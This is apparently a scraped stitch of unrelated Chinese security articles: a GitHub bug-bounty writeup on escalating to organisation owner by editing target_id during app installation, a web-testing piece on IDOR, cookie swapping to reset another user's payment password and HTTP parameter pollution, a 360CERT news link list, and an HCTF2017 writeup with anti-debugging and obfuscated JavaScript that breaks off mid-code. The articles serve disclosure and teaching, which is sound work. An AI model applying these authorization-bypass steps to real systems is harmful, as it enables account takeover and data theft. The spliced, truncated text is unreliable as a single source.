当我在作为所有者进行组织设置时，注意到了一个“第三方访问策略”按钮。 这个设置的目的是防止组织成员通过OAuth将存储库访问权限授予给不受信任的第三方。
这个按钮一旦启用，成员必须通过OAuth的权限提示特定地进行请求访问，然后需要组织所有者批准才能访问任何组织数据。
接下来我考虑的是另一种应用程序，一种集成应用。 集成类似于OAuth应用程序，不同的是它们代表的是组织而不是用户行事。
我的思考过程是检查“第三方访问策略”是否也适用于集成，或者这些策略是否会通过。 我来到应用市场，并通过几个应用程序完成安装流程。
很明显，作为组织成员，没有选择安装集成的权限。 只能将集成安装到自己的帐户或自己所拥有的组织中。
我后来在这些[文档](//developer.github.com/apps/differences-between-apps/%EF%BC%89)中找到了以下解释说明。
* 组织成员不能请求安装GitHub应用程序。
在安装过程中，我注意到在选择“结算帐户”后，会弹出具有以下网址的页面：<https://github.com/apps/:app_name/installations/new/permissions?target_id=:id>
target_id是organization_id或要安装应用程序的account_id。
当然，作为另一个组织的成员，我动动我的小手将target_id更改为organization_id。
由于我的成员帐户是存储库管理员，因此系统提示我安装页面。
我成功地安装该应用程序，但仅限于我拥有管理员权限的一个存储库。 我通过访问组织所有者帐户中的“已安装的GitHub应用程序”页面来检查安装。 成功！
此时已过了凌晨3点，我知道自从我为了绕开“第三方访问”限制以来，我发现了一个重大的问题。 我将向GitHub计划报告，打算在报告中留下任何后续发现的问题。
## 进一步探索
第二天，我想看看我是否可以进一步做些什么。 我创建了自己的GitHub集成，并注意到请求的权限可能非常敏感。
特别是允许“写入”所有组织成员和团队的访问权限。当然，有权将集成安装到一个存储库中将不是说就允许我授予对所有组织成员的“写入”访问权限，对吧？不对。
由于预期的设计是只有所有者才能安装集成，因此具有二进制权限。 你可以授予的范围没有被强制执行，因为已经被认为具有最高级别的访问权限。
然后下一步是查看API是否按预期工作，并且我是否真的能够使用它而不会遇到权限错误。 在抵达圣杯之前，我成功地混淆了一堆边界。
使用角色参数添加或更新组织成员资格。 使用该边界，我能够成功地邀请其他用户作为帐户所有者加入组织。
## 结语
我认为这个的好处是因为它只能被存储库管理员利用。您的组织中有多少存储库管理员？经过更多测试后，我发现允许成员创建存储库的所有组织都很脆弱。这是因为成员会自动为其创建的任何存储库授予管理权限;允许他们通过创建一个虚拟存储库来安装应用程序的方式来利用这一点。此功能在默认情况下处于启用状态，组织通常会将其启用，因为GitHub的付款模式不再受存储库限制，而是基于用户数量。
利用这个漏洞不一定只能是恶意的内部人员，也可以是攻击者来危害成员账户。假设一个组织中有300个成员;攻击者的表面区域不再局限于3或4个组织所有者，而是其任何成员。
与往常一样，与GitHub安全团队合作愉快！
## 时间线
初始报告：11/11/17 @ 3:30 AM
报告升级为组织所有者的能力：11/11/17 @ 8:30 PM
GitHub团队正式调查此问题：11/13/17 @ 5:30 AM
10,000美元奖励和分类奖励：11/14/17 @ 1:40 PM
修正部署到生产：11/15/17
问题标记为已解决：12/1/17
审核人：yiwang 编辑：边边 | 社区文章 |
## 0x01 前言
[上回书](https://xz.aliyun.com/t/3549)说道~说道哪儿忘了~我们接着再说说。
【PS: 这是自己在平时的测试中积累并值得分享的一些测试经验，可能不能将问题探究到多深入，希望文中的思路能有所用。】
## 0x02 “躲起来的”Form表单
### 1\. 场景
就像小节标题提到的一样，留意那些“躲起来的”Form表单，很多场景下你是否遇到过点击触发一个功能请求，但是返回的是空白或者“无记录”的提示，请求中不包含任何用户参数，这个时候你留意了，是不是有什么东西是你遗漏掉了，遗漏了什么触发条件？
### 2\. 案例
如图有一个这样的功能点，点击“信用卡”功能后，请求返回告诉你，该用户查询无记录。这个时候你要淡定了，So what？
接下来你要做的是什么？对接口进行请求构造Fuzz？客官且慢......怕是你需要再确认一下，那个躲在Form表单里的action是不是为你早就备好了。
让我们看图说话。这是点击“分期付款”功能时候的请求，查询到当前登陆用户没有下挂账户，但是留意到最下面的那个hidden起来的form表单了某？
让我们稍加修改，看看效果如何？看图说话。
将input框稍作修改，添加一个value，给前端添加一点可选择的账号的空隙余地。
再敲个回车，看看效果，看看是否后端已经对这个接口做了鉴权呢？是否可以……Bingo！
### 3\. 多说几句
上面的案例需要注意几点：
是否存在隐藏的form表单；
后端是否对此接口的查询操作作了鉴权判断；
## 0x03 “犄角旮旯”的越权
### 1\. 场景
”犄角旮旯“的越权，说起来是犄角旮旯，但其实有人测试的时候估计每个功能点都会触发一遍，所以你也会发现总有一些功能点光看按钮看不出个所以然。
### 2\. 案例
有这么一个查询接口查询历史交易明细，图中所示：
选择查询之后，出现了几个按钮，“保存”、“打印”、“显示所有”、“保存所有”，一般情况说来“查看明细”、“查看详情”、“xx详情”等描述的功能点都对应着某一流水单号的记录情况，如果应用的处理方式不是在功能请求时全部返回所有订单数据的话，那么这一点是极有可能存在问题的点。
此处的“详情”功能处已经做了鉴权，无法通过修改流水单号查询他人信息。但问题点出在 **“显示所有”**
的功能点，应用的逻辑是在查询全部记录时，会为每个用户对应一个id号，那么此处可以直接批量去查他人的账户交易信息，并且可以保存下载。
如下图所示，查询所有数据时，请求中包含有FileName参数，为保存数据生成文档命名做准备。那剩下的只是遍历参数就好了。
### 3\. 废话几句
案例中涉及到的点为一些看起来没有用但是真实存在漏洞的接口，所以案例2的结论就是注意那些看似无害的”犄角旮旯“。常见的几点如：查询、详情、明细、下载记录等等功能点。
## 0x03 鸡肋越权
### 1\. 场景
说是鸡肋越权，是因为在测试的时用了自己准备的两个测试账号，同时因为需要涉及到cookie的替换等操作，有人可能会说：“这也太扯了，你都替换了cookie参数了，查看别人的信息那是肯定可以的啊！”，但其实如果我下面的案例与你想的多少有些不符，也正好咱们一起来讨论这个场景下的替换，是否算不算是越权呢。
### 2\. 案例
此案例中涉及到的信息如下：
A和B两个测试账号，A为攻击者，B为受害者；
账户A未设置支付密码、B账户未知支付密码；
现同时登陆两个账号，获取cookie参数中的“mssc_sid”值。
之后对A账户进行操作，查看账户状态，显示未设置支付密码
随后进行设置密码，点击“设置密码”后，会首先发送请求校验当前cookie参数中的mssc_sid值，通过这个值来对当前用户身份进行识别。
注：
这里为什么要用一个未设置支付密码的账户A呢？因为“未设置支付密码账户”在设置密码时与“已设置支付密码账户”不同，不需要校验原交易密码，可以直接进行设置操作。
此过程中，拦截请求将此参数替换为B账户mssc_sid值，绕过原密码校验的同时，第一步“校验身份”会通过此账户识别为账户B，并进行到第二步，设置支付密码。
设置新的支付密码，有人会问，如果还有第二步，是不是也要同样的拦截请求并且修改mssc_sid参数，答案是当然不用了。虽然在这一步提交的请求包中mssc_sid参数值为A账户，后端以第一步校验的身份去设置密码，也就是设置B账户的交易密码会被修改，So，B账户支付密码被修改咯。
### 3\. 小结
本案例问题点：
未校验用户身份唯一标识是否为当前登陆账户所属；
用户进行操作时，以第一次校验用户参数为准，未进行多次校验；
这个案例有点鸡肋，并不可以任意的去重置某一用户的支付密码，希望给你了一点提示，下次遇到同样的参数，可以测试是否存在和案例中一样的问题逻辑。或许，当你遇到同样的情景时，你的漏洞参数是有规律可循的。
## 0x04 再谈HPP
### 1\. 场景
HPP简称“HTTP Parameter
Pollution”，HTTP参数污染，此处指就是给相同参数赋上两个或两个以上的值，导致应用解析错误出现越权漏洞。话不多说，相信有很多人都知道这种类型问题。
### 2\. 案例
此案例以修改账户别名为例，通过HPP的方式可以修改所有登陆账户的别名和手机号码。
在用户A登陆后，存在这样一个功能设置点，可以设置修改A账户的账户别名。便于用户在进行各类交易时操作，功能类似于电话本，方便查找使用。
问题出在修改这个功能点，当你设置A账户别名、手机号后，选择“确认修改“时，请求中包含一个PayeeId参数，对比两个不同的参数之后发现此处参数每个参数均代表唯一用户且在用户登陆状态下有效，另外我们可以看出，这个PayeeId编号前14位不变，后4位规律递增或随机的特征，OK，废话说多了，回到重点。
此处请求将别名设置为”1166661test“、手机号码设置为A账户手机号码，将B账户的PayeeId参数附带到当前账户PayeeId后，发现请求可以正常请求。
通过最直观的方式，登陆B账户查看别名设置情况，我们不难发现B账户的账户别名已经设置为”1166661test“，同时手机号码也改为了A账户的手机号码。
PS:
也许有人会问这个地方可以批量么？回答是当然可以，因为漏洞参数虽然是20位长度的字符串，但前14位不变，后四位就算不是递增，爆破的难度也不大。另如果结合此处的存储型XSS，可以将可利用程度提升。
### 3\. 无废话可说
HPP已经有很多人知道的，所以没有什么特别要说明的，如果有人想要了解的话，自行去搜索吧，有很多很详细的解释。
## 0x05 最后
自己尝试根据这两篇文做了个流程图，每个方式方法的最终归属看起来都还是回归到了常规越权，希望下次我还能发现不一样的问题来分享。 | 社区文章 |
# 5月11日安全热点 - 比特币钱包应用程序盗窃用户种子钥匙
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
CNNVD 关于Windows远程代码执行漏洞及Microsoft Excel远程代码执行漏洞的通报
<http://t.cn/R34inNl>
漏洞预警 | Spring框架多个漏洞
<http://t.cn/R34inpH>
CVE-2018-10201:Ncomputing vSpace Pro目录穿越漏洞
<http://t.cn/R34in0S>
CVE-2018-10705：Aurora DAO安全漏洞
<http://t.cn/R34inOs>
CVE-2018-10817：Severalnines ClusterControl跨站脚本漏洞
<http://t.cn/R34inWD>
CVE-2018-10827：LiteCart安全漏洞
<http://t.cn/R34injs>
CVE-2017-18265：Prosody LuaSocket库不兼容远程拒绝服务漏洞
<http://t.cn/R34inY3>
CVE-2018-10380：KDE KWallet kwallet-pam未经授权的访问漏洞
<http://t.cn/R34inH9>
CVE-2018-7941：华为iBMC产品的认证绕过漏洞
<http://t.cn/R34inQD>
CVE-2018-7940：华为Mate 10手机中的身份验证绕过漏洞
<http://t.cn/R34in81>
CVE-2018-7933：某些华为家庭网关产品中的路径穿越漏洞
<http://t.cn/R34inEP>
SAP修复旗下产品十多个产品漏洞
<http://t.cn/R34inn7>
Chrome发布安全更新
<http://t.cn/R87k8bQ>
Android发布5月安全公告
<http://t.cn/R3hPyVa>
## 恶意软件 Malware
利用“永恒之蓝”漏洞挖矿 木马“微笑”赚百万年薪
<http://t.cn/R3LSLoa>
通过Facebook Messenger投递恶意软件FacexWorm相关消息进行盗窃
<http://t.cn/R346RpA>
安全报告 Security Report
JPCERT/CC发布漏洞协调与披露政策
<http://t.cn/R346ROk>
OPC UA安全分析
<http://t.cn/R345XGK>
## 安全资讯 Security Information
512 WannaCry周年纪丨500万台电脑遭受攻击，谁来扼住勒索病毒的咽喉？
<http://t.cn/R34aAyh>
Equifax公布数据泄漏分析报告：全美大半居民受事件影响
<http://t.cn/R34inXb>
威胁展望2020：AI技术会”放大”攻击功效
<http://t.cn/R34inaq>
谷歌宣布推出物联网平台：Android Things
<http://t.cn/R345xfa>
比特币钱包应用程序盗窃用户种子钥匙
<http://t.cn/R34inon>
IBM禁止所有可移动存储，为所有员工提供无处不在的存储
<http://t.cn/R34inCf>
区块链技术国家标准将制定
<http://t.cn/R32nqCy>
恶意挖矿脚本Coinhive大举入侵，400多家政企网站受波及
<http://t.cn/R346Rjn>
哥本哈根“共享单车”系统被黑，数据库被删
<http://t.cn/R3Uxmv3>
Google地图漏洞可让黑客将用户重定向到恶意网站
<http://t.cn/R346RTg>
POS恶意软件“TREASUREHUNTER”源代码泄露
<http://t.cn/R346RHs>
SophosLabs发现潜伏在Google Play中的数十款恶意软件
<http://t.cn/R346R8z>
“黑客”入侵快递公司后台盗近亿客户信息，13名嫌犯被抓
<http://t.cn/R34oxTE>
## 安全研究 Security Research
GPON 漏洞的在野利用（一）——muhstik 僵尸网络
<http://t.cn/R3UP84k>
使用 Bro IDS 和 Intel Critical Stack 分析网络活动
<http://t.cn/R346RRO>
在QEMU中模拟Exynos 4210 BootROM
<http://t.cn/R346RnY>
链表游戏：CVE-2017-10661之完全利用
<http://t.cn/R3yIkFs>
软WAF的另一种思路：基于Openresty+Naxsi的WAF实现
<http://t.cn/R3yXVHQ>
挖洞经验 | 看我如何绕过某订阅端点的验证码
<http://t.cn/R3Uy4Bm>
如何滥用DCOM实现横向渗透
<http://t.cn/R3yLLJh>
污点分析挖掘漏洞演示
<http://t.cn/R346R3L>
【以上信息整理于[ https://cert.360.cn/daily](https://cert.360.cn/daily) 】
360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。
微信公众号：360cert | 社区文章 |
作者：LoRexxar'@知道创宇404实验室
11月12日结束的HCTF2017，我总共出了其中4道题目，这4道题目涵盖了我这半年来接触的很多有趣的东西。下面就简单讲讲出题思路以及完整的Writeup。
babycrack
Description
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
Now Score 302.93
Team solved 45
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
Now Score 674.44
Team solved 7
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
Now Score 702.6
Team solved 6
Deserted place
Description
maybe nothing here
flag in admin cookie
Now Score 820.35
Team solved 3
* babycrack是一道前端js的题目，包含了反调试、代码混淆、逻辑混淆3步。
* A world Restored比较有趣，是一个站库分离的站点。有两个漏洞，一个比较像中间人的信息泄露，另一个是dom xss。
* Deserted place是一个比较古老的技术，叫做SOME，但是了解细节的人非常少。
#### babycrack
还是很抱歉题目的验证逻辑还是出现了不可逆推的问题，被迫在比赛中途加入4个hint来修复问题，下面我们来慢慢看看代码。
题目源码如下 <https://github.com/LoRexxar/HCTF2017-babycrack>
整个题目由反调试+代码混淆+逻辑混淆3部分组成，你可以说题目毫无意义完全为了出题而出题，但是这种代码确实最最真实的前端代码，现在许多站点都会选择使用反调试+混淆+一定程度的代码混淆来混淆部分前端代码。
出题思路主要有两篇文章：
* <http://www.jianshu.com/p/9148d215c119>
* <https://zhuanlan.zhihu.com/p/29214928>
整个题目主要是在我分析chrome拓展后门时候构思的，代码同样经过了很多重的混淆，让我们来一步步解释。
##### 反调试
第一部分是反调试，当在页面内使用F12来调试代码时，会卡死在debugger代码处。
这里举个例子就是蘑菇街的登陆验证代码。
具体代码是这样的
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){(3 a(){7{(3 b(2){9((\'\'+(2/2)).5!==1||2%g===0){(3(){}).8(\'4\')()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{}));
美化一下
(function () {
(function a() {
try {
(function b(i) {
if (('' + (i / i)).length !== 1 || i % 20 === 0) {
(function () {}).constructor('debugger')()
} else {
debugger
}
b(++i)
})(0)
} catch (e) {
setTimeout(a, 5000)
}
})()
})();
这就是比较常见的反调试。我这里提供3种办法来解决这步。
1、使用node做代码调试。
由于这里的debugger检测的是浏览器的调试，如果直接对代码调试就不会触发这样的问题。
2、静态分析
因为题目中代码较少，我没办法把代码混入深层逻辑，导致代码可以纯静态分析。
3、patch debugger函数
由于debugger本身只会触发一次，不会无限制的卡死调试器，这里会出现这种情况，主要是每5s轮询检查一次。那么我们就可以通过patch
settimeout函数来绕过。
window._setTimeout = window.setTimeout;
window.setTimeout = function () {};
这里可以用浏览器插件TamperMonkey解决问题。
除了卡死debug以外，我还加入了轮询刷新console的代码。
setInterval("window.console.log('Welcome to HCTF :>')", 50);
同样的办法可以解决，就不多说了。
##### 代码混淆
在去除掉这部分无用代码之后，我们接着想办法去除代码混淆。
这里最外层的代码混淆，我是通过<https://github.com/javascript-obfuscator/javascript-obfuscator>做了混淆。
ps:因为我在代码里加入了es6语法，市面上的很多工具都不支持es6语法，会导致去混淆的代码语法错误！
更有趣的是，这种混淆是不可逆的，所以我们只能通过逐渐去混淆的方式来美化代码。
我们可以先简单美化一下代码格式
(function (_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function (_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956(++_0xad25ab);
}(_0x180a, 0x1a2));
var _0xa180 = function (_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = _0x180a[_0x5c351c];
return _0x26f3b3;
};
function check(_0x5b7c0c) {
try {
var _0x2e2f8d = ['code', _0xa180('0x0'), _0xa180('0x1'), _0xa180('0x2'), 'invalidMonetizationCode', _0xa180('0x3'), _0xa180('0x4'), _0xa180('0x5'), _0xa180('0x6'), _0xa180('0x7'), _0xa180('0x8'), _0xa180('0x9'), _0xa180('0xa'), _0xa180('0xb'), _0xa180('0xc'), _0xa180('0xd'), _0xa180('0xe'), _0xa180('0xf'), _0xa180('0x10'), _0xa180('0x11'), 'url', _0xa180('0x12'), _0xa180('0x13'), _0xa180('0x14'), _0xa180('0x15'), _0xa180('0x16'), _0xa180('0x17'), _0xa180('0x18'), 'tabs', _0xa180('0x19'), _0xa180('0x1a'), _0xa180('0x1b'), _0xa180('0x1c'), _0xa180('0x1d'), 'replace', _0xa180('0x1e'), _0xa180('0x1f'), 'includes', _0xa180('0x20'), 'length', _0xa180('0x21'), _0xa180('0x22'), _0xa180('0x23'), _0xa180('0x24'), _0xa180('0x25'), _0xa180('0x26'), _0xa180('0x27'), _0xa180('0x28'), _0xa180('0x29'), 'toString', _0xa180('0x2a'), 'split'];
var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
eval(function (_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function (_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
};
if (!'' ['replace'](/^/, String)) {
while (_0x46da6f--) _0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
_0x802d91 = [function (_0x5e8f1a) {
return _0x2829f2[_0x5e8f1a];
}];
_0x2d59cf = function () {
return _0xa180('0x2b');
};
_0x46da6f = 0x1;
};
while (_0x46da6f--)
if (_0x802d91[_0x46da6f]) _0x200db2 = _0x200db2[_0xa180('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb', 'g'), _0x802d91[_0x46da6f]);
return _0x200db2;
}(_0xa180('0x2d'), 0x11, 0x11, _0xa180('0x2e')['split']('|'), 0x0, {}));
(function (_0x3291b7, _0xced890) {
var _0xaed809 = function (_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
}
};
_0xaed809(++_0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));
var _0x43c8d1 = function (_0x3120e0) {
var _0x3120e0 = parseInt(_0x3120e0, 0x10);
var _0x3a882f = _0x2e2f8d[_0x3120e0];
return _0x3a882f;
};
var _0x1c3854 = function (_0x52ba71) {
var _0x52b956 = '0x';
for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[_0x43c8d1(0x8)]; _0x59c050++) {
_0x52b956 += _0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);
}
return _0x52b956;
};
var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');
var _0x34f55b = (_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](-0x2, 0x2)) ^ _0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
}
b2c = function (_0x3f9bc5) {
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)] / 0x5);
var _0x4ee491 = _0x3f9bc5[_0x43c8d1(0x8)] % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
_0x3f9bc5 += '';
}
_0x4a199f += 0x1;
}
for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) >> 0x3));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
}
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0xa180('0x2f')]();
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0x43c8d1('1b')]('=');
(function () {
(function _0x3c3bd8() {
try {
(function _0x4dc510(_0x460a91) {
if (('' + _0x460a91 / _0x460a91)[_0xa180('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
(function () {}['constructor']('debugger')());
} else {
debugger;
}
_0x4dc510(++_0x460a91);
}(0x0));
} catch (_0x30f185) {
setTimeout(_0x3c3bd8, 0x1388);
}
}());
}());
return _0x4dc510[_0xa180('0x31')]('');
};
e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
if (e != 0x4b7c0a73) {
return ![];
}
f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^ e;
if (f != 0x4315332) {
return ![];
}
n = f * e * _0x76e1e8[0x0][_0x43c8d1(0x8)];
h = function (_0x4c466e, _0x28871) {
var _0x3ea581 = '';
for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[_0x43c8d1(0x8)]; _0x2fbf7a++) {
_0x3ea581 += _0x28871(_0x4c466e[_0x2fbf7a]);
}
return _0x3ea581;
};
j = _0x76e1e8[0x1][_0x43c8d1(0xe)]('3');
if (j[0x0][_0x43c8d1(0x8)] != j[0x1][_0x43c8d1(0x8)] || (_0x1c3854(j[0x0]) ^ _0x1c3854(j[0x1])) != 0x1613) {
return ![];
}
k = _0xffcc52 => _0xffcc52[_0x43c8d1('f')]() * _0x76e1e8[0x1][_0x43c8d1(0x8)];
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
return ![];
}
m = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;
function _0x5a6d56(_0x5a25ab, _0x4a4483) {
var _0x55b09f = '';
for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
_0x55b09f += _0x5a25ab;
}
return _0x55b09f;
}
if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
return ![];
}
o = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2))[_0x43c8d1(0xd)](0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x1)[_0x43c8d1('f')]() * _0x76e1e8[0x4][_0x43c8d1(0x8)] * 0x5;
return o && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7, 0x1), 0x2);
} catch (_0x4cbb89) {
console['log']('gg');
return ![];
}
}
代码里主要有几点混淆：
1、变量名替换，`a --> _0xd4b7d6`，这种东西最烦，但是也最简单，批量替换，在我看来即使abcd这种变量也比这个容易读
2、提取了所有的方法到一个数组，这种也简单，只要在chrome中逐步调试替换就可以了。
还有一些小的细节，很常见，没什么可说的
"s".length() --> "s"['length']()
最终代码可以优化到这个地步，基本已经可读了，下一步就是分析代码了。
function check(flag){
var _ = ['\x63\x6f\x64\x65', '\x76\x65\x72\x73\x69\x6f\x6e', '\x65\x72\x72\x6f\x72', '\x64\x6f\x77\x6e\x6c\x6f\x61\x64', '\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65', '\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31', '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37', '\x46\x75\x6e\x63\x74\x69\x6f\x6e', '\x72\x75\x6e', '\x69\x64\x6c\x65', '\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49', '\x69\x6e\x69\x74', '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d', '\x6c\x6f\x63\x61\x6c', '\x73\x74\x6f\x72\x61\x67\x65', '\x65\x76\x61\x6c', '\x74\x68\x65\x6e', '\x67\x65\x74', '\x67\x65\x74\x54\x69\x6d\x65', '\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73', '\x75\x72\x6c', '\x6f\x72\x69\x67\x69\x6e', '\x73\x65\x74', '\x47\x45\x54', '\x6c\x6f\x61\x64\x69\x6e\x67', '\x73\x74\x61\x74\x75\x73', '\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x55\x70\x64\x61\x74\x65\x64', '\x74\x61\x62\x73', '\x63\x61\x6c\x6c\x65\x65', '\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65', '\x72\x75\x6e\x74\x69\x6d\x65', '\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74', '\x72\x65\x70\x6c\x61\x63\x65', '\x64\x61\x74\x61', '\x74\x65\x73\x74', '\x69\x6e\x63\x6c\x75\x64\x65\x73', '\x68\x74\x74\x70\x3a\x2f\x2f', '\x6c\x65\x6e\x67\x74\x68', '\x55\x72\x6c\x20\x65\x72\x72\x6f\x72', '\x71\x75\x65\x72\x79', '\x66\x69\x6c\x74\x65\x72', '\x61\x63\x74\x69\x76\x65', '\x66\x6c\x6f\x6f\x72', '\x72\x61\x6e\x64\x6f\x6d', '\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74', '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65'];
var head = flag['substring'](0, 4);
var base = parseInt(btoa(head), 0x20); //344800
(function (b, c) {
var d = function (a) {
while (--a) {
b['push'](b['shift']())
}
};
d(++c);
}(_, base%123));
var g = function (a) {
var a = parseInt(a, 0x10);
var c = _[a];
return c;
};
var s2h = function(str){
var result = "0x";
for(var i=0;i<str['length'];i++){
result += str['charCodeAt'](i)['toString'](16)
}
return result;
}
var b = flag['split']("_");
var c = (s2h(b[0]['substr'](-2,2)) ^ s2h(b[0]['substr'](4,1))) % b[0]['length'] == 5;
if(!c){
return false;
}
b2c = function(s) {
var alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
var parts = [];
var quanta = Math.floor((s['length'] / 5));
var leftover = s['length'] % 5;
if (leftover != 0) {
for (var i = 0; i < (5 - leftover); i++) {
s += '\x00';
}
quanta += 1;
}
for (i = 0; i < quanta; i++) {
parts.push(alphabet.charAt(s['charCodeAt'](i * 5) >> 3));
